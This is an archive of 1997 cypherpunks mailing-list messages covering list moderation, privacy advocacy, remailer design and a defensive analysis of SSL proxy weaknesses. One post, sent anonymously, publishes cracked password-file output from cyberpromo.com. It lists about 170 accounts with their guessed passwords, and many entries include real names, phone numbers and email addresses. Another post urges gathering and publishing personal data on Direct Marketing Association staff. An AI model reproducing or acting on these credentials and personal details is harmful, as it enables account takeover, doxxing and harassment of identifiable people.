]>>
]>>       In other words, *SNEER*. It's not about the wording, it's
]>>about your whining, nothing would make you happy, you just want an
]>>issue to cry about.
]>
]>Two simple changes to the wording, in the interest of accuracy. That's all.
]
]	"Lightly moderated with regard to participants" seems very non-sneery,
]but I doubt it'll make you happy.
]
]>>       Explain to me how importing this flame war onto the mailing
]>>list is going to help anything at all. It seems to me it'd just make
]>>things worse.
]>
]>Well, there we disagree. Convene the Happynet Unofficial Anti-Censorship
]>Committee and mull it over at your leisure. I'm in no hurry.
]
]	So tell me how it's going to help anything. At this point, I
]think you're beyond help.
]
]--
]Seth Finkelstein  				sethf@mit.edu
]Disclaimer : I am not the Lorax. I speak only for myself.
](and certainly not for Project Athena, MIT, or anyone else).
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Gaw <jonathan@gaw.net>
Date: Sun, 23 Mar 1997 00:36:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "why privacy" revisit
Message-ID: <3.0.32.19970323023551.00688610@pconline.com>
MIME-Version: 1.0
Content-Type: text/plain


the responses i've gotten have been all too theoretical and, i believe, too
hypothetical and removed for most people. when asked if they value their
privacy, the public overwhelmingly agrees. when asked what their privacy
means to them, i don't think they have a solid answer. i get the sense that
most people don't see the hazards of corporations analyzing their buying
patterns, voter registration records and medical records. i don't think it
has come home to most people. 

i don't disagree with the people on the list. i am just having a hard time
translating it to the public in concrete terms. 

j.
>
>At 09:50 PM 3/22/97 -0500, you wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>> -=> Quoting In:jonathan@gaw.net to Harka <=-
>>
>> In> when i talk to people like the Direct Marketer's Assn., they honestly
>> In> don't understand what the fuss is about. Their attitude is, quite
>> In> literally, "What's the harm being done here?"
>>
>> In> what do you think the community interested in privacy protection can
>> In> do to best illustrate to the general public the "harm" in the
>> In> collection of personal information?
>>
>>Information warfare. Collect information about DMA people, using
>>their own weapons against them. Then post it somewhere on the
>>Internet via remailers and cc themselves, Reuters and the New York
>>Times...
>>
>>Ciao
>>
>>Harka
>>___ Blue Wave/386 v2.30 [NR]
>>
>>-----BEGIN PGP SIGNATURE-----
>>Version: 2.6.2
>>
>>iQEVAgUBMzSWbzltEBIEF0MBAQFOzQf/SmUYerwG8oIDVe+PucyAybBAYpMBl+JT
>>eDl21Bs0jVa2+UXm8zDKQVDIkz004bTgpyX6vzockZ8cTUkW1UJJucjUfAXln1yB
>>HmdR9Go5mdurGbXf4QSN47nbfPc5V5sq8h7Ok2frFRqKLBejPSuEdP2pZo0OUPQD
>>bf0lE3l5lgTKlYqOzHt7NqHNAlcx3l0FOpflF+RR5DbLllBrIP7XYodMLMv+NR3T
>>V0oEk0woReL4+/O8iQ1oZuQ3MHNXkwCqR8w2wXnlou9ysfS58nTXgoNyFYKouGlN
>>Kc1bV2/G6mrG8PziTd3MsTL4TjdcmkdphZWVouo1LrEuhd3J5B4dBw==
>>=rbtn
>>-----END PGP SIGNATURE-----
>>
>>
>>If encryption is outlawed, only outlaws will have encryption...
>>
>>
>>
******************************************************
Jonathan Gaw
The Star Tribune
Minneapolis, Minnesota
jonathan@gaw.net
*********Wasting Digital Bandwidth Since 1986*********




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 22 Mar 1997 23:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Remailer problem solu
Message-ID: <TCPSMTP.17.3.23.3.3.38.2780269260.1581932@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

IMHO the remailer network needs to be extended so as to place the
risk on (too) many shoulders, thereby reducing it considerably.
The winsock remailer has an "shared" option included, meaning every
regular e-mail account could serve as a remailer (or at least as
middleman). If such an option could be included in e-mail programs,
the danger of remailers "dropping like flies left and right" would
cease.
The accounts could be published on a web page together with the
instructions a la Raph's remailer list and the country, where they
are located in. Therefore they could even serve as exit point, for
the laws of the receiver don't apply there. The only problem I see
with shared accounts though is a flood attack, rendering it unusable
for the account holder. So probably middleman or PGP-encrypted-only
are the most reasonable options.
Why not extending the source of Private Idaho to include remailer
capabilities, for example?

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzTiFDltEBIEF0MBAQHeGgf/Qo6LkT82Fdxu8Jt8oWzSlnJUQTZ1uyMk
rLZHi/e2Ha2JMUiS5Uuil+h7GTBIT8FRzeAZmvHDdkRnUTuFF6+WrG373a27f+FA
9TfKwMprz/o7x0iFZc3tL+eEzsuCL3ZCFPhXILVWNbuhFeGMxbgJ0rb/qdXEvGkm
6SF+BKj3ayj9pdLMOaJnue3YG0MEQr0QFVodeuUCTjmexv9WuwgI5D3C9PbXNdwa
t4iTU5fH3czuvMvPsTCSnQLfVxNESh2Tv6zzzxkEcmR7iKRTUX+N5gCWYffIecQK
8D5o7Ap8SAG+Fh+0Gb6bAyrgB1Xdajmjp1RsbhsA2CGlvFIv5lK8sg==
=teXC
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Sat, 22 Mar 1997 07:44:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security of SSL proxies
Message-ID: <85904544316081@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


A number of vendors are now selling SSL proxies which implement secure 
tunnelling for web browsers using a non-crippled SSL implementation running on 
the client machine.  Has anyone considered the total security level provided 
by one of these systems?  I can see three problems with this approach:
 
1. The security stops a few feet short of the browser, making a MITM attack 
   possible (see below).
 
2. Security and authentication is handled by the proxy and not the browser.  
   This means that the browser (and browser user) never get to see the usual 
   indicators that their connection is secure (or "secure" for non-US users).
 
3. If you use a proxy like this to protect traffic for an entire company, the 
   proxy provides the same type of target as a GAK key center: An attack which 
   compromises this compromises security for the entire company.
 
The first one is a practical problem, the second one is more perceptual.  
Consider the following possible attack: A nice authenticoded ActiveX control 
("the tee proxy") installs itself on your machine and hooks itself into the 
chain of proxies by either moving the SSL proxy to a different port or 
changing the browser config entry so it's the first proxy in the chain.  It 
then scans all data being forwarded for credit card numbers/PINs/whatever and 
forwards them to God knows where.
 
There are various simple defences (eg the SSL proxy checks to make sure the 
browser still goes to it first), but in the end it's just a cat and mouse 
game - the tee proxy could spoof the registry calls (there was an article in 
DDJ which explains how to do this), or disable the check, or hook directly 
into the proxy service by patching the DLL (this was explained in MSJ I 
think).  In short, because the security stops a few feet short, it's possible 
to attack the system.
 
A related problem is that fact that the browser isn't aware that a layer of 
security is being applied to the connection, and so will act as if the 
connection was insecure (ie it won't display the usual signs that the link is 
secured, and will give annoying warnings when navigating secure web sites).
 
Finally, pulling personal certs into/through the proxy is rather complex, 
requiring the cooperation of the CA in issuing specific types of certs (one 
browser-specific one for the browser and an identical-content but 
proxy-specific one for the proxy), and all sorts of complex juggling by the 
user to install them.  This probably makes the use of certs in this 
environment fairly luser-proof, which more or less means no certs.
 
Are there any other problems which people are aware of?  There was a bit of a 
fuss made about these proxies being the end of ITAR when they were first 
announced, but since then things seem to have gone quiet.
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 23 Mar 1997 03:33:19 -0800 (PST)
To: Jonathan Gaw <cypherpunks@toad.com
Subject: Re: "why privacy" revisit
In-Reply-To: <3.0.32.19970323023551.00688610@pconline.com>
Message-ID: <v03007815af5ac6e826a1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:35 AM -0600 3/23/97, Jonathan Gaw wrote:
>the responses i've gotten have been all too theoretical and, i believe, too
>hypothetical and removed for most people. when asked if they value their
>privacy, the public overwhelmingly agrees. when asked what their privacy
>means to them, i don't think they have a solid answer. i get the sense that
>most people don't see the hazards of corporations analyzing their buying
>patterns, voter registration records and medical records. i don't think it
>has come home to most people.
>
>i don't disagree with the people on the list. i am just having a hard time
>translating it to the public in concrete terms.


Hmmmhhh. I don't recall seeing any messages from you stating that this was
your interest, finding simple hooks the readers of a newspaper can
understand.

I assumed you were interested in the issue as just another participant in
the list, not as a journalist looking for a story angle.

Frankly, readers of newspapers don't have the background to understand the
real issues, for the most part. Expecially given the brevity and
superficiality of most newspaper articles.  And if they ever really figured
out what most of the active participants here stand for, they would likely
vote to ban our existence.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Sat, 22 Mar 1997 19:53:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: some /etc/passwd stuff from Cyberpromo
Message-ID: <19970323034945.5700.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


A little mouse just came into my house and said that the following
uz3rz at cyberpromo.com have the following passwords:

	- Ignoramus.

Guessed broot [<no-ciphertext>]  System Administrator [etc_passwd.fixed /bin/csh]
Guessed box12 [box12 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed valscan [valscan [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box8 [box8 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed greatsex [greatsex [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed makemony [greatsex [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed greatads [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed vic [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box2 [box2 [SINGER]]   [etc_passwd.fixed ]
Guessed box7 [box7 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed checknsee [checknsee [DISNEY]]  Steve Dykstra,Check-n-See Network,413-283-6645, [etc_passwd.fixed /bin/tcsh]
Guessed fixit [fixit [GEORGE]]  Terry Judge,,216-745-9444,amerwtrprf@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed box9 [box9 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed results [results [SINGER]]  Michaek J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box10 [box10 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed getrich [getrich [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box5 [box5 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box11 [box11 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box3 [box3 [SINGER]]  Mike Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box4 [box4 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box6 [box6 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed gics [gics [SINGER]]  Michael J. Singer,,419-843-6100, [etc_passwd.fixed /bin/tcsh]
Guessed julie [julie [SINGER]]  Michael Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box1 [box1 [SINGER]]  Michael Singer,, , [etc_passwd.fixed /bin/tcsh]
Guessed action [action [SUCCESS]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed simple [simple [SOLUTION]]  Larry Henry,Simple Solutions + Co. Inc,912-937-5606, [etc_passwd.fixed /bin/tcsh]
Guessed winnernet [winnernet [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed newma [newma [DANIEL]]  Jay Schneiderman,,718-379-1197, [etc_passwd.fixed /bin/tcsh]
Guessed coolbreeze [coolbreeze [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed esi [esi [RICHARD]]  Richard Damewood,,, [etc_passwd.fixed /bin/tcsh]
Guessed freebook [freebook [JOSEPH]]  Joe Dewey,Great Ad-Ventures,208-336-7520,joseph732@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldking [goldking [SPECIAL]]  Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh]
Guessed rav537 [rav537 [NATHAN]]  Rich Verhoef,,509-882-4733, [etc_passwd.fixed /bin/tcsh]
Guessed bfranklin [bfranklin [SUCCESS]]  Jon Bender / Gary Roggles,,919-848-5698 Fax,peakpr4mer@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ourcoinc [ourcoinc [PROSPER]]  Sheryl Joyner,Ourco Inc.,301-931-0868, [etc_passwd.fixed /bin/tcsh]
Guessed bfepro [bfepro [BFE5253]]  Ben Ewing,BFE Enterprises,502-339-6356, [etc_passwd.fixed /bin/tcsh]
Guessed moneyman [moneyman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed gfaiusa [gfaiusa [MONEY]]  Cliff Durrett,,813-397-3120, [etc_passwd.fixed /bin/tcsh]
Guessed exciting [exciting [SPECIAL]]  Daniel Sheehey,,707-822-8324,djshee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed autod [autod [GOGO]]  Stephen Gregory,,512-388-0530, [etc_passwd.fixed /bin/tcsh]
Guessed lifeinfo [lifeinfo [LIFE]]  Pete Mckeown,Life Extension,303-985-4371,leipro@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed setmefree [setmefree [SECRET]]  Steve Walker,The Financial Alliance,904-387-1628,plsfreeme@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed cowcr [cowcr [COWCR]]  Dr. Cathy L. White-Owen MD,,216-844-5950,whatzmoney@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gpwhitepaper [gpwhitepaper [FRED]]  Ernest Orwig,Global Perspectives LLC,201-244-1200 x 239, [etc_passwd.fixed /bin/tcsh]
Guessed accobra [accobra [ACCOBRA]]  Glenn Pack,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasoline [gasoline [ANTHONY]]  Mike Jacobellis,,,magnet@exp.net [etc_passwd.fixed /bin/tcsh]
Guessed herpesinfo [herpesinfo [FREECTR]]  Dr. Steve Yates,The Freedom Center,212-281-7397, [etc_passwd.fixed /bin/tcsh]
Guessed richman [richman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed christian [christian [SUCCESS]]  Jon Bender,peakpr4mer@aol.com,, [etc_passwd.fixed /bin/tcsh]
Guessed goinfo [goinfo [GREEN]]  Jim Hill,,609-926-9661, [etc_passwd.fixed /bin/tcsh]
Guessed datalux [datalux [WALLACE2]]  Carole Moses,Crestar Enterprises,516-223-3607,careve@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed matrix [matrix [MATRIX]]  Martin Parker,,matrixfund@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed sti [sti [FROGGY]]  Alain Senac,,970-479-9757, [etc_passwd.fixed /bin/tcsh]
Guessed wwjp [wwjp [TRAVEL]]  Jeff Pinkus,,610-408-0386, [etc_passwd.fixed /bin/tcsh]
Guessed team1 [team1 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed genesisgroup [genesisgroup [BRYAN]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed telecomm [telecomm [PARADIGM]]  Greg Scudder,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed goodchecks [goodchecks [RAINBOW]]  Greg Beasley,National Payment Systems,614-792-9490, [etc_passwd.fixed /bin/tcsh]
Guessed rpalm [rpalm [HAMMER]]  Richard Palmer,Palmer Productions,510-685-7671, [etc_passwd.fixed /bin/tcsh]
Guessed info4unow [info4unow [ASHLEY]]  Marty Figgs,,302-633-4138, [etc_passwd.fixed /bin/tcsh]
Guessed skeptics [skeptics [COWCR]]  Dr. Cathy L. White-Owen MD ,,216-844-5950,whatzmoney@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goodincome [goodincome [MARKETIN]]  Ron Linkous,,804-741-4432,rlink15133@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed tgtbt [tgtbt [COWCR]]  Dr. Cathy L. White-Owen MD ,216-844-5950,whatzmoney@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed mailordman [mailordman [VICTOR]]  Donald Wright,,800-772-0794, [etc_passwd.fixed /bin/tcsh]
Guessed peteexcel [peteexcel [CAMERON]]  Pete Maneos,,610-337-1468,newmedia30@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed higher [higher [SUCCESS]]  Eric gordon,,909-653-2357,teammlm@earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed gasinfo [gasinfo [ANTHONY]]  Mike Jacobellis,\,,magnet@exp.net [etc_passwd.fixed /bin/tcsh]
Guessed asomerset [asomerset [SOMERSET]]  DIANNA GIBBS,,214 789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed childstory [childstory [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed hokamix [hokamix [STERLING]]  Michael Medefind,Aellen Enterprises,916-987-1234,meandre@christcom.net [etc_passwd.fixed /bin/tcsh]
Guessed gab [gab [NEWLIFE]]  Yvonne Orthmann,,508-428-9101, [etc_passwd.fixed /bin/tcsh]
Guessed galatic [galatic [GALATIC]]  Karl Thompsan,,317-933-2828, [etc_passwd.fixed /bin/tcsh]
Guessed report [report [INTERNET]]  Bryan Sullivan,,805 772-6188, [etc_passwd.fixed /bin/tcsh]
Guessed mountain1 [mountain1 [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed scanman [scanman [ASHLEY]]  DAniel Goutas,,714-897-7542, [etc_passwd.fixed /bin/tcsh]
Guessed bwealthy [bwealthy [SUCCESS]]  Barry Disney,Network Marketing Group,513-554-4843, [etc_passwd.fixed /bin/tcsh]
Guessed truthnet [truthnet [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed essentials [essentials [SUSAN]]  Susan Pottish,,415-453-9546,svand@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed laser1 [laser1 [FREEDOM]]  Bud Riley,,612-224-8331, [etc_passwd.fixed /bin/tcsh]
Guessed mother [mother [ANTHONY]]  Mike and Amy Jacobellis,North Pole Magnet Co,409-840-9407,magnet@iosys.net [etc_passwd.fixed /bin/tcsh]
Guessed freedom4u [freedom4u [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed pyruvate [pyruvate [WHEELS]]  Jerry Schneider,,,pyruvate@ournetwork.com [etc_passwd.fixed /bin/tcsh]
Guessed acarnegie [acarnegie [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed tatiana [tatiana [JOSEPH]]  Jose Diaz,Diaz Specialty Merchandise,718-672-6225, [etc_passwd.fixed /bin/tcsh]
Guessed gor [gor [GORAVANI]]  Das Goravani,Goravani Astrological Services,800-532-6528 or 541-485-8453, [etc_passwd.fixed /bin/tcsh]
Guessed somerset [somerset [SOMERSET]]  Dianna Gibbs,,214-789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed wheels [wheels [WHEELS]]  Tony Marsello,,,multichev@earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed freeeagle [freeeagle [FREEDOM]]  Joe Reynolds,,, [etc_passwd.fixed /bin/tcsh]
Guessed team2 [team2 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed aplus [aplus [STUDY]]  Tim Ryan,A+ Tutors,603-659-5903, [etc_passwd.fixed /bin/tcsh]
Guessed theraven [theraven [KABOOM]]  Leonora Torian,,410-727-2611, [etc_passwd.fixed /bin/tcsh]
Guessed lash [lash [ANTHONY]]  bob Anthony / Larry Kirsch,,954-748-3510, [etc_passwd.fixed /bin/tcsh]
Guessed career [career [CHOICE]]  Jeanette Turner,,941-351-5804, [etc_passwd.fixed /bin/tcsh]
Guessed giveinfo [giveinfo [VINCENT]]  Vincent Garguilo,,718-256-0904,vinigar@peakaccess.net [etc_passwd.fixed /bin/tcsh]
Guessed ournetwork [ournetwork [WHEELS]]  Jerry Schneider,,206-588-0096,75020.2702@compuserve.com [etc_passwd.fixed /bin/tcsh]
Guessed lightquest [lightquest [GORDON]]  Gordon M. Curry,,972-431-4956,lightquest@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed visionpics [visionpics [RESPONSE]]  Jason Kristofer,Visionary Pics,213-655-7666, [etc_passwd.fixed /bin/tcsh]
Guessed wwjpwwjpwwjp [wwjpwwjpwwjp [TRAVEL]]  Warren,,, [etc_passwd.fixed /bin/tcsh]
Guessed jeffsmoney [jeffsmoney [JEFFSMON]]  Jeff Jacobs,J+J Enterprises,212-290-4517,jeff@superteam.com [etc_passwd.fixed /bin/tcsh]
Guessed global [global [DISCOVER]]  Frank Martinez,Global TradeNetwork,515-279-5204, [etc_passwd.fixed /bin/tcsh]
Guessed linktvmem [linktvmem [LINKTVME]]  Ernie Lamonica,,702-828-9003, [etc_passwd.fixed /bin/tcsh]
Guessed phone [phone [PHONE]]  Susan Pottish,,415-453-9546,svamd@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed products [products [MOUNTAIN]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed tnoni [tnoni [HEALTH]]  Michael Avenoso,Riverwood Health,501-253-2535,amstar7@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed stink [stink [GREATSEX]]  Gary Fisher,,415-306-9466, [etc_passwd.fixed /bin/tcsh]
Guessed judge [judge [VANELGOR]]  Howard Van Elgort,,604-246-9114, [etc_passwd.fixed /bin/tcsh]
Guessed beitall [beitall [DOITNOW]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed infolink [infolink [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed bugbox [bugbox [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed seicom [seicom [Hubertt]]  Hubert Trotman,Safari Equities Inc.,718-994-2801, [etc_passwd.fixed /bin/tcsh]
Guessed yourreply [yourreply [REPORTS]]  Vince Bedell,AAA Discount,702-564-9651,vince2602@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed wholesale [wholesale [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed profitsnow [profitsnow [MATTG]]  Matt Glaspie,,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed freshair [freshair [BRADNEAR]]  Brad Near,,, [etc_passwd.fixed /bin/tcsh]
Guessed succeednow [succeednow [MARTINR]]  Martin Ruiz,Golden Success,904-532-9753,martin@goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed cmc [cmc [RANDYC]]  Wayne Cook,712-252-2154,, [etc_passwd.fixed /bin/tcsh]
Guessed contacts [contacts [MARTINRU]]  Martin Ruiz,Golden Success,904-532-9753,martin@goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed a1amway [a1amway [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed bizinfo [bizinfo [FLIGHT]]  Shawn Bogardus,Worldnet Data Services,301-926-6882, [etc_passwd.fixed /bin/tcsh]
Guessed profitsonline [profitsonline [MATTG]]  Matt Glaspie,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasmlm [gasmlm [GSCHMIDT]]  Dr. George Schmidt,Gardens Eyecare,407-622-8200,Dr.Schmidt@usa.net [etc_passwd.fixed /bin/tcsh]
Guessed infosoft [infosoft [BRANDY]]  Jay Pinkus,         ,215-953-8239, [etc_passwd.fixed /bin/tcsh]
Guessed ion [ion [MATTG]]  Matt Glaspie,ION,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed mktamerica [mktamerica [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed futureplan [futureplan [STMARTIN]]  Tracy Dickson-Depaoli,Neways Inc.,604-526-6721, [etc_passwd.fixed /bin/tcsh]
Guessed inside [inside [INFO1]]  Mark A. Watts,Inside Access,503-612-0538,insideacc@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed healthnow [healthnow [HARRY1]]  Thomas M. Cox,,dodger3@laker.net, [etc_passwd.fixed /bin/tcsh]
Guessed sms [sms [HARRY1]]  Suzanne Schnell,,206-953-9372, [etc_passwd.fixed /bin/tcsh]
Guessed success1 [success1 [PROMO1]]  GREG SCUDDER,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed yousave [yousave [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed paulott [paulott [PAULOTT1]]  Paul Ott,941-731-7855,pott123@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed savenow [savenow [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed utilizatt [utilizatt [FREEDOM2]]  Joe Reynolds,Free Eagles Enterprises,, [etc_passwd.fixed /bin/tcsh]
Guessed eric [eric [DIANE2]]  Eric Lederman,,714-951-9027, [etc_passwd.fixed /bin/tcsh]
Guessed contino [contino [CAREER4]]  Carl Contino,First Family Internet Services,716-834-0057,contino@ffinternet.com [etc_passwd.fixed /bin/tcsh]
Guessed emailfarmer [emailfarmer [RENERENE]]  BARRY DISNEY,,, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouse [lighthouse [DATADATA]]  Mimi Morissette,,503-203-1349, [etc_passwd.fixed /bin/tcsh]
Guessed earthtrust [earthtrust [DATADATA]]  Mimi Morressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed empire [empire [RENERENE]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed earthangels [earthangels [DATADATA]]  Mimi Moiressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed futurenet [futurenet [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouses [lighthouses [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed astrology [astrology [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed bkinfo [bkinfo [RAYRAY]]  Kareem Hassan,,216-439-1019,hawk7640@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldenaura [goldenaura [DATADATA]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed shakespeare [shakespeare [DATADATA]]  Mim i Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed rolyatge [rolyatge [DRAWDE]]  George Taylor,,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed rolyat [rolyat [DRAWDE]]  George Taylor,Taylor Computerized Services,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed details13 [details13 [111111]]  Dave,Sheehan & Associates,,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed ompd [ompd [111111]]  Dave Sheehan,,708-954-9101, [etc_passwd.fixed /bin/tcsh]
Guessed detailsnow [detailsnow [000000]]  Bob Wagner,,305-534-2769, [etc_passwd.fixed /bin/tcsh]
Guessed remove3 [remove3 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details14 [details14 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details15 [details15 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9 [vlk9 [123456]]  ,VLK9 Network,602-874-9247,kat187@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed details12 [details12 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed hitme [hitme [000000]]  Bob Wagner,Amerinet,305-534-2769,amerinet@bridge.net [etc_passwd.fixed /bin/tcsh]
